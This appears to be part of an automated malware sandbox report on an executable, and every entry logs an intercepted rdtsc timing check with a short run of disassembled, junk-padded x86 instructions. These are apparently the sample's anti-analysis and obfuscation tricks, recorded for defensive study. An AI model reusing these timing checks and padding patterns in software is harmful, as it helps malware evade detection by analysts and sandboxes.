Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F0C2BC second address: F0C2F5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F850CC4A395h 0x00000008 jl 00007F850CC4A386h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F850CC4A393h 0x00000018 push ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F0C2F5 second address: F0C2FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F22A15 second address: F22A35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pushad 0x0000000b jmp 00007F850CC4A38Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F850CC4A386h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F22CF1 second address: F22CFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F22CFB second address: F22D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F22D01 second address: F22D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F22D05 second address: F22D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F22D0F second address: F22D13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F22E64 second address: F22E68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F22E68 second address: F22E8D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F850D0E60D6h 0x00000008 jmp 00007F850D0E60E7h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F22E8D second address: F22E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F231BC second address: F231C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F25051 second address: F2505B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F850CC4A38Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F27AE6 second address: F27AF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F850D0E60D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F27EB3 second address: F27F23 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jnl 00007F850CC4A386h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jno 00007F850CC4A394h 0x00000013 nop 0x00000014 mov edx, 0E542EBAh 0x00000019 push dword ptr [ebp+122D375Bh] 0x0000001f and edx, dword ptr [ebp+122D3C5Eh] 0x00000025 call 00007F850CC4A389h 0x0000002a jp 00007F850CC4A39Ah 0x00000030 push eax 0x00000031 ja 00007F850CC4A391h 0x00000037 jmp 00007F850CC4A38Bh 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 push eax 0x00000041 push ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F299EB second address: F299FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnc 00007F850D0E60D6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F299FC second address: F29A0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A38Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F29A0B second address: F29A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F29A11 second address: F29A28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A38Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F29A28 second address: F29A2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F2953B second address: F29555 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F850CC4A392h 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F29555 second address: F2956C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F850D0E60E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: F2956C second address: F29570 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50704A2 second address: 50704BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50704BF second address: 50704C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50704C5 second address: 50704C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50704C9 second address: 507053A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A393h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F850CC4A399h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F850CC4A393h 0x0000001b and esi, 1933B11Eh 0x00000021 jmp 00007F850CC4A399h 0x00000026 popfd 0x00000027 mov eax, 0959C2E7h 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 507053A second address: 5070540 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5070540 second address: 5070544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A080C second address: 50A0834 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b mov si, F793h 0x0000000f push eax 0x00000010 push edx 0x00000011 movzx esi, bx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0834 second address: 50A0844 instructions: 0x00000000 rdtsc 0x00000002 mov ch, bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0844 second address: 50A084A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A084A second address: 50A084E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A084E second address: 50A0852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0852 second address: 50A087B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 jmp 00007F850CC4A399h 0x0000000e xchg eax, esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A087B second address: 50A087F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A087F second address: 50A0885 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0885 second address: 50A08ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F850D0E60DBh 0x0000000f xchg eax, esi 0x00000010 jmp 00007F850D0E60E6h 0x00000015 lea eax, dword ptr [ebp-04h] 0x00000018 jmp 00007F850D0E60E0h 0x0000001d nop 0x0000001e jmp 00007F850D0E60E0h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 push ecx 0x00000028 pop edx 0x00000029 mov cx, 834Fh 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A08ED second address: 50A090D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A395h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A090D second address: 50A0913 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A09FC second address: 50A0A3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F850CC4A391h 0x00000008 pushfd 0x00000009 jmp 00007F850CC4A390h 0x0000000e and al, FFFFFFC8h 0x00000011 jmp 00007F850CC4A38Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov eax, esi 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0A3A second address: 50A0A3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0A3F second address: 50A0A6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A38Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F850CC4A38Eh 0x0000000f leave 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F850CC4A38Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0A6E second address: 50A0A7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50A0A7D second address: 509000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F850CC4A38Fh 0x00000009 sbb esi, 31167CCEh 0x0000000f jmp 00007F850CC4A399h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F850CC4A390h 0x0000001b or ax, 9548h 0x00000020 jmp 00007F850CC4A38Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 retn 0004h 0x0000002c nop 0x0000002d sub esp, 04h 0x00000030 xor ebx, ebx 0x00000032 cmp eax, 00000000h 0x00000035 je 00007F850CC4A4EAh 0x0000003b mov dword ptr [esp], 0000000Dh 0x00000042 call 00007F8511076521h 0x00000047 mov edi, edi 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c mov eax, 38B3EC73h 0x00000051 mov dx, ax 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 509000E second address: 509007D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx ecx, di 0x0000000e movsx edi, cx 0x00000011 popad 0x00000012 push eax 0x00000013 jmp 00007F850D0E60DBh 0x00000018 xchg eax, ebp 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F850D0E60E4h 0x00000020 or ax, A108h 0x00000025 jmp 00007F850D0E60DBh 0x0000002a popfd 0x0000002b mov di, ax 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F850D0E60E1h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 509007D second address: 5090117 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F850CC4A397h 0x00000009 or ah, FFFFFFAEh 0x0000000c jmp 00007F850CC4A399h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F850CC4A390h 0x00000018 and cx, 9828h 0x0000001d jmp 00007F850CC4A38Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 sub esp, 2Ch 0x00000029 jmp 00007F850CC4A396h 0x0000002e xchg eax, ebx 0x0000002f jmp 00007F850CC4A390h 0x00000034 push eax 0x00000035 pushad 0x00000036 mov ebx, 42AD2564h 0x0000003b mov bx, 33D0h 0x0000003f popad 0x00000040 xchg eax, ebx 0x00000041 push eax 0x00000042 push edx 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090117 second address: 509011B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 509011B second address: 5090121 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090121 second address: 509013B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F850D0E60E6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 509013B second address: 50901A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F850CC4A38Ah 0x00000010 add al, 00000078h 0x00000013 jmp 00007F850CC4A38Bh 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F850CC4A398h 0x0000001f or ah, FFFFFFD8h 0x00000022 jmp 00007F850CC4A38Bh 0x00000027 popfd 0x00000028 popad 0x00000029 mov dword ptr [esp], edi 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F850CC4A395h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50901F3 second address: 50901F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50901F8 second address: 509022D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 6B28h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edi, 00000000h 0x00000010 jmp 00007F850CC4A38Ch 0x00000015 inc ebx 0x00000016 jmp 00007F850CC4A390h 0x0000001b test al, al 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 509022D second address: 509024A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 509024A second address: 5090250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090250 second address: 5090254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090254 second address: 509027A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F850CC4A593h 0x0000000e jmp 00007F850CC4A38Fh 0x00000013 lea ecx, dword ptr [ebp-14h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 509027A second address: 509027E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 509027E second address: 5090284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50902D1 second address: 50902ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50902ED second address: 50902F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50902F1 second address: 50902F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50902F7 second address: 5090314 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A392h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090314 second address: 5090330 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090330 second address: 5090346 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A38Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090346 second address: 509034A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 509034A second address: 5090350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090350 second address: 5090356 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090453 second address: 5090457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090457 second address: 509045B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 509045B second address: 5090461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090461 second address: 5090467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090467 second address: 509049A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b jmp 00007F850CC4A38Ch 0x00000010 lea eax, dword ptr [ebp-2Ch] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F850CC4A397h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 509049A second address: 50904C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F850D0E60DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50904C7 second address: 50904F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 03h 0x00000005 mov cx, 8FFFh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e mov bx, DFF6h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 mov esi, edi 0x00000017 popad 0x00000018 popad 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F850CC4A390h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50904F3 second address: 5090541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F850D0E60E1h 0x00000008 pop esi 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F850D0E60E5h 0x00000016 xor ecx, 539BF566h 0x0000001c jmp 00007F850D0E60E1h 0x00000021 popfd 0x00000022 movzx ecx, di 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090541 second address: 5090571 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A38Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jmp 00007F850CC4A390h 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F850CC4A38Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090571 second address: 5090575 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090575 second address: 509057B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 50909DF second address: 5090A85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov di, ax 0x0000000e jmp 00007F850D0E60E8h 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 movsx ebx, ax 0x00000019 movzx eax, bx 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e jmp 00007F850D0E60E5h 0x00000023 mov ebp, esp 0x00000025 jmp 00007F850D0E60DEh 0x0000002a cmp dword ptr [76C8459Ch], 05h 0x00000031 jmp 00007F850D0E60E0h 0x00000036 je 00007F857EC74075h 0x0000003c jmp 00007F850D0E60E0h 0x00000041 pop ebp 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007F850D0E60DAh 0x0000004b rdtsc
Source: C:\Users\user\Desktop\2jx1O1t486.exe	RDTSC instruction interceptor: First address: 5090A85 second address: 5090A8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
